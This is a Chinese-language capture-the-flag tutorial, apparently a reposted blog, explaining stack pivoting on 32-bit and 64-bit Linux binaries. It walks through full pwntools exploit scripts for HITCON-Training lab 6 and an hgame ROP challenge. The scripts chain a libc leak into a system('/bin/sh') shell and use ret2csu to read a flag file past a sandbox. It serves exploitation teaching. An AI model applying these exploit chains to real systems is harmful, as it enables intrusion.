1. 程式人生 > 其它 >32位以及64位棧遷移的具體分析與學習

32位以及64位棧遷移的具體分析與學習

前言

這次來學習下棧遷移技術吧,全片構成為先了解原理,然後再分別以 32位程式及64位程式以圖文的形式來具體學習!

原理

棧遷移正如它所描述的,該技巧就是劫持棧指標指向攻擊者所能控制的記憶體處,然後再在相應的位置進行 ROP。我們可利用該技巧來解決棧溢位空間大小不足的問題。

我們進入一個 函式的時候,會執行call指令

call func(); //push eip+4; push ebp; mov ebp,esp;

call func() 執行完要退出的時候要進行與call func相反的操作(恢復現場)維持棧平衡!

leave; //mov esp,ebp; pop ebp;

ret ; // pop eip

棧遷移 的核心思想就是 將棧 的 esp 和 ebp 轉移到一個 輸入不受長度限制的 且可控制 的 址處,通常是 bss 段地址! 在最後 ret 的時候 如果我們能夠控制得 了 棧頂 esp指向的地址 就想到於 控制了 程式執行流!

這裡有個 很好的描述,建議大家可以去看下:https://blog.csdn.net/yuanyunfeng3/article/details/51456049

32位程式 棧遷移

這裡我拿 HITCON-Training-master 中的lab 6進行超詳細的分析,希望能給在學這個內容的興趣者們提供幫助!

file migration

ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked,

interpreter /lib/ld-,for GNU/Linux 2.6.32,

BuildID[sha1]=e65737a9201bfe28db6fe46f06d9428f5c814951, not stripped

checksec migration

Arch: i386-32-little

RELRO: Full RELRO

Stack: No canary found

NX: NX enabled

PIE: No PIE (0x8048000)

開啟了 NX保護的32位的elf程式

拖入ida:

int __cdecl main(int argc, const char **argv, const char **envp)

{

char buf; // [esp+0h] [ebp-28h]

if ( count != 1337 )

exit(1);

++count;

setvbuf(_bss_start, 0, 2, 0);

puts("Try your best :");

return read(0, &buf, 0x40u); //存在棧溢位 漏洞

}

程式流程很簡單我們想棧中最多輸入 0x40 位元組內容,然後停止 ! 程式不迴圈!

我們進入一個函式的時候,會執行 call 指令

call func(); //push eip+4; push ebp; mov ebp,esp;

call func()執行完要退出的時候要進行與call func 相 反 的 操作( 恢復現場)維持棧平衡!

leave; //mov esp,ebp; pop ebp;

ret ; // pop eip

我們首先先把完整的exp放上來然後分步詳細地對其進行講解!

#coding:utf8

from pwn import*

context.log_level="debug"

p = process('./migration')

libc = ELF('/lib/i386-linux-gnu/libc.so.6')

elf = ELF('./migration')

read_plt = elf.symbols['read']

puts_plt = elf.symbols['puts']

puts_got = elf.got['puts']

read_got = elf.got['read']

buf = elf.bss() + 0x500

buf2 = elf.bss() + 0x400

pop_ebx_ret = 0x804836d

pop_esi_edi_ebp_ret = 0x8048569

leave_ret = 0x08048418 #ida 中 檢視

puts_libc = libc.symbols['puts']

system_libc = libc.symbols['system']

binsh_libc = libc.search("/bin/sh").next()

log.info("read_plt:"+hex(read_plt))

log.info("puts_plt:"+hex(puts_plt))

log.info("puts_got:"+hex(puts_got))

log.info("read_got:"+hex(read_got))

log.info("buf:"+hex(buf))

log.info("buf2:"+hex(buf2))

log.info("pop_ebx_ret:"+hex(pop_ebx_ret))

log.info("pop_esi_edi_ebp_ret:"+hex(pop_esi_edi_ebp_ret))

log.info("leave_ret:"+hex(leave_ret))

log.info("puts_libc:"+hex(puts_libc))

log.info("system_libc:"+hex(system_libc))

#gdb.attach(p,'b *0x080484EA')

p.recvuntil("Try your best :\n")

log.info("***第一個講解:將棧中 esp,ebp 轉移到 bss 地址 處*********************")

payload_1 = 'a'*0x28 + p32(buf) + p32(read_plt) + p32(leave_ret) + p32(0) + p32(buf) + p32(0x100)

p.send(payload_1)

log.info("*****第二個講解:洩露libc_base********************")

payload_2 = p32(buf2) + p32(puts_plt) + p32(pop_ebx_ret) + p32(puts_got) + p32(read_plt) + p32(leave_ret)

payload_2+= p32(0) + p32(buf2) + p32(0x100)

p.send(payload_2)

puts_add = u32(p.recv(4))

libc_base = puts_add - puts_libc

log.info("libc_base:"+hex(libc_base))

system_add = libc_base + system_libc

log.info("system_add:"+hex(system_add))

binsh_addr = libc_base + binsh_libc

log.info("**************獲得shell*********************")

payload_3 = p32(buf) + p32(system_add) + 'bbbb' + p32(binsh_addr)

p.send(payload_3)

p.interactive()

這個程式的gadget很少,但剛剛夠用:

$ ROPgadget --binary migration --only 'pop|ret'

Gadgets information

============================================================

0x0804856b : pop ebp ; ret

0x08048568 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret

0x0804836d : pop ebx ; ret

0x0804856a : pop edi ; pop ebp ; ret

0x08048569 : pop esi ; pop edi ; pop ebp ; ret

0x08048356 : ret

0x0804842e : ret 0xeac1

Unique gadgets found: 7

執行後的

講解 1

payload_1 = 'a'*0x28 + p32(buf) + p32(read_plt) + p32(leave_ret) + p32(0) + p32(buf) + p32(0x100)

p.send(payload_1)

我們可以往棧上輸入0x40位元組內容,從ida中可以知道我們其實當輸入 0x28位元組內容之後,如果再輸入就是要覆蓋ebp地址了,接著是ret_addr.輸入輸入到棧上的對應關係就是這個樣子:

EBP:0xff8845b8

ESP: 0xff884590

leave; //mov esp,ebp; pop ebp;

ret ; // pop eip 因為pop出棧 了,所以ESP地址在這裡 也會 +4

所以,執行完 這兩條命令後,

EBP:0x804a50c //即目前我們 ebp 已經被轉移到 bss_addr+0x500處了!

ESP: 0xff8845b8+4 +4=0xff8845c0

注意,執行完後 ret 指令 使得 程式返回到了0x8048380 處然後 執行 read_plt(0,buf,0x100) 去了 !

所以 我們是在向 buf:0x804a50c( bss_addr+0x500)即 ebp 地址處 寫入 payload_2 後才會 返回 ret去執行當前棧頂地址處的 leave //這也是 圖中說 待會的 原因!

所以此時 0x804a50c處已經被寫入了buf2 = elf.bss() + 0x400 即 0x804a40c

然後去執行棧頂處的 leave

leave; //mov esp,ebp; pop ebp;

ret ; // pop eip 因為pop出棧 了,所以ESP地址在這裡 也會 +4

猜測執行過後的結果為下面的樣子:

esp: 0x804a50c - 4-4 = 0x804a514

ebp: 0x804a40c

看下面截圖,發現 符合我們的 推測!

圖中 0x804838c(put_plt 的地址) 是我們 payload_2中傳送的內容 。

這裡我們要特別注意一點,在leave 執行的時候,(看它本質)當 mov esp,ebp 後就已經實現將 esp 控制在 ebp處了,即再執行 ret 命令的話,就已經完成了 將eip 控制在 一個輸入不受長度限制且可 rwx 處的地址了,那麼 此時 leave 本質中的 pop ebp 就是多餘的了嗎?

嗯...,因為目前我們還只是完成了棧的一次 遷移,還沒有進行攻擊呢,要想攻擊,我們還得 獲得 libc 載入的基地址,繼而拿到 system 函式載入地址和 '/bin/sh\x00'字串 地址才可以 !

於是我們需要接著利用這個 pop ebp 指令,向 ebp 傳值 buf2(0x8049fe8)接著遷移,目的是利用 puts函式洩露 puts_got.

講解二:

payload_2 = p32(buf2) + p32(puts_plt) + p32(pop_ebx_ret) + p32(puts_got) + p32(read_plt) + p32(leave_ret)

payload_2+= p32(0) + p32(buf2) + p32(0x100)

p.send(payload_2)

順著上面接著分析,此時程式在執行 puts(puts_got) , 我們可以利用程式輸出的結果 (puts函式在記憶體中的載入地址)進而計算出 libc載入的基地址(上面說過了,哈)。

這裡的 pop_ebx_ret 的作用呢 其實就是把 p32(puts_got) 給從棧中 取出來,進而實現 接下來 執行 read_plt(0,buf,0x100) 函式 構造 最後的攻擊程式碼,即我們的 payload_3。

payload_3 = p32(buf) + p32(system_add) + 'bbbb' + p32(binsh_addr)

所以再當執行到 payload_2 中的 leave_ret 時buf2 (0x804a40c)處 即 ebp的地址已經 寫入了 0x804a50c (buf)

read函式結束後,我們又要接著執行,我們構造的leave_ret 了

leave; //mov esp,ebp; pop ebp;

ret ; // pop eip 因為pop出棧 了,所以ESP地址在這裡 也會 +4

推測執行後:

ebp=0x804a50c

esp= 0x804a40c+4 +4 =0x804a414

這裡 leave 本質中的 pop ebp 就是 其實 就是把 0x804a50c又賦值給ebp 了

我們最後來看下 payload_3 leave指令完成後 ret當 棧頂 system_addr處,

payload_3 = p32(buf) + p32(system_add) + 'bbbb' + p32(binsh_addr)

即可以直接執行拿到shell 了!

64位 棧遷移

理解 32的棧遷移後 64位 就容易理解了

它們原理其實和32位程式差不多,最大的區別應該就是它們呼叫函式時傳參的方式不一樣!

32位 是將引數 依次 從右向左 放入棧中 。

64位程式 傳參的時候是 從左到右 依次放入 暫存器:rdi,rsi,rdx,rcx,r8,r9 ,當引數大於等於 7 的時候 後面引數會依次 從右向左 放入棧中!

在64位棧遷移的姿勢常會使用 libc_csu_init 中的 gadgets,下面這題 hgame week3 中的 ROP 就是這樣!這裡就主要講其中的棧遷移的部分了!

這題其實 我沒有做得出來,是比賽結束後 看大考撈的 部落格才 復現出來的,我太弱了!參考:大佬部落格!!!

https://fmyy.pro/2020/01/22/Competition/HGame/#Week-THR

首先 拖入ida:

ida 中看,我們可以執行兩次輸入,第一次 向bss 段做多可寫 0x100位元組的內容!

第二次向棧中 最多 輸入 0x60位元組內容 ,存在 棧溢位,可覆蓋

rbp 和ret_addr但 因為沙箱 原因,禁用 用了 execve 函式,我們於是 可以利用 利用ORW直接讀flag檔案,溢位空間 但太小 這裡我們 考慮 棧遷移 到bss 段上 然後在rop攻擊!

首先開啟伺服器中 flag檔案然後再把裡面的內容給 列印到螢幕上!

#coding:utf8

from pwn import *

context(arch="amd64",os='linux',log_level="debug")

p = process('./ROP')

#p = remote('47.103.214.163',20300)

elf = ELF('ROP')

puts_plt = elf.plt['puts']

open_got = elf.got['open']

read_got = elf.got['read']

leave_ret = 0x40090D

buf = 0x6010A0 #ida

pop_rdi_ret = 0x400A43 #ROPgadget --binary ROP --only "pop|ret"

pop_rbx_rbp_r12_r13_r14_r15_ret = 0x400A3A # csu_gadget 第二段

FLAG = elf.bss()+0x200

print hex(elf.bss())

log.info("puts_plt:"+ str(hex(puts_plt)))

log.info("open_got:"+ str(hex(open_got)))

log.info("read_got:"+ str(hex(read_got)))

log.info("leave_ret:"+ str(hex(leave_ret)))

log.info("buf:"+ str(hex(buf)))

log.info("pop_rdi_ret:"+ str(hex(pop_rdi_ret)))

log.info("pop_rbx_rbp_r12_r13_r14_r15_ret:"+ str(hex(pop_rbx_rbp_r12_r13_r14_r15_ret)))

log.info("FLAG:"+ str(hex(FLAG)))

print "****************************************************************************************"

#gdb.attach(p)

p.recvuntil('It's just a little bit harder...Do you think so?')

payload = '/flag\x00\x00\x00'

payload += p64(pop_rbx_rbp_r12_r13_r14_r15_ret)+p64(0)+p64(1)+p64(open_got)+p64(0)+p64(0)+p64(buf)+p64(0x400A20)+2*p64(0)+p64(1)+p64(0)*(6+1-3)

payload += p64(pop_rbx_rbp_r12_r13_r14_r15_ret+2)+p64(read_got)+p64(0x20)+p64(FLAG)+p64(4)+p64(0x400A20)+2*p64(0)+p64(1)+p64(0)*(6+1-3)

payload += p64(pop_rdi_ret)+p64(FLAG)+p64(puts_plt)

p.send(payload)

p.recvuntil('\n')

p.recvuntil('\n')

payload_2 = 'U'*0x50 + p64(buf)+p64(leave_ret) #棧遷移 關鍵!是不是和32 位的棧遷移利用驚奇的相似,利用原理都是一樣的

p.sendline(payload_2)

p.recv(100)

#p.close()

p.interactive()

ida中 最後一個read 函式 存在棧溢位漏洞,我們控制 ebp從而進行棧遷移當我們傳送 payload_2 後

buf 就覆蓋了原本的 rbp 的內容,而leave_ret 就覆蓋了 原本的ret_addr 處的內容 !看下圖,

這裡便是實現了執行 2 次 leave ,(在本來程式結束前有執行了一次)達到棧遷移的實現!

執行第一次 leave的 時候 重點觀察上圖中 黃色框框 中的變化!

leave; //mov rsp,rep; pop rbp; 因為pop ebp,所以 rsp 要+8

ret ; // pop rip

當執行過leave後推測

rsp:rsp=0x7ffda85406b0+8 即 0x7ffda85406b8

rbp:rbp = 0x6010a0

驗證下:

哦哦,上圖執行ret後,因為本質 是pop rip ,所以rsp + 8

rsp:rsp=0x7ffda85406b8+8 即 0x7ffda85406c0

rbp:rbp = 0x6010a0

所以 當接下來 ret 到棧頂位置指向的地址 0x40090d ,便又要執行一次 leave,在這個leave後仍然 有個 ret 。

繼續推測下 執行這個(我們構造的) leave 後的 rsp 和 rbp 吧 !

rsp:rsp=0x6010a0+8 即 0x6010a8

rbp:rbp = 0x67616c662f //此為 第一個payload 第一個的 8位元組內容

然後 ret

rsp:rsp=0x6010a8+8 即 0x6010b0 //(buf+16)

rbp:rbp = 0x67616c662f //此為 第一個payload 第一個的 8位元組內容

所以,基於上面分析,再執行一次 leave 便可以將使得 rsp 的地址位於 bss段上去了,然後再ret 返回到 rsp執行到地址內容,就實現了一次棧遷移了。

現在 的時候,我們就可以幾乎沒有輸入長度的限制而去構造rop了,然後便可以利用rop 攻擊鏈把flag中 檔案 open到 檔案操作符 4 中(因為前面程式已經用 open 開啟一次some_life_experience了),為了接下來大家理解學習通常 ,我把上第一個 payload 放在這裡

payload = '/flag\x00\x00\x00'

payload += p64(pop_rbx_rbp_r12_r13_r14_r15_ret)+p64(0)+p64(1)+p64(open_got)+p64(0)+p64(0)+p64(buf)+p64(0x400A20)+2*p64(0)+p64(1)+p64(0)*(6+1-3)

payload += p64(pop_rbx_rbp_r12_r13_r14_r15_ret+2)+p64(read_got)+p64(0x20)+p64(FLAG)+p64(4)+p64(0x400A20)+2*p64(0)+p64(1)+p64(0)*(6+1-3)

payload += p64(pop_rdi_ret)+p64(FLAG)+p64(puts_plt)

這個主要就說再說下payload中的 0x400A20其實就是 libc_csu_init gadget中的 0x400A44 返回到的地址處!為了實現對引數的賦值。這是棧溢位中的ret2csu 具體 可在ctfwiki中學下

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/medium-rop-zh/

400a3a處 執行完 ret 返回 到400A20

到 call qword[r12 + rbx*8] 因為 rbx被我們值為 0了 相當於 執行 open("/flag",0,0)了。

所以 會返回 4 賦值給rax ,因為 在程式最開始 已經使用open函式 開啟 一次some_life_experience檔案了。

因為 rbx+1 = rbp 所以在地址 0x400a29處並 不會進行 call 操作,繼續向下 執行,也就是意味 著 我們可以 再次構造。

就是 構造 再從檔案 操作符 4 read 到 flag 地址處,最後 再呼叫 puts 函式 把它 列印到螢幕上!因為 主要講 棧遷移的 ,後面就不說了,大家可以自己除錯學習下。

多除錯

這次 主要是學習 棧遷移的,建議 初學者的話,親自多除錯除錯或者 在紙上 用筆 畫一畫,更有助理解,我最初學這部分時也是迷瞪好久,希望可以 這篇可以 給你們帶來些幫助!

32位&64位棧遷移的學習 相關實驗:高階棧溢位技術—ROP實戰

合天智匯:合天網路靶場、網安實戰虛擬環境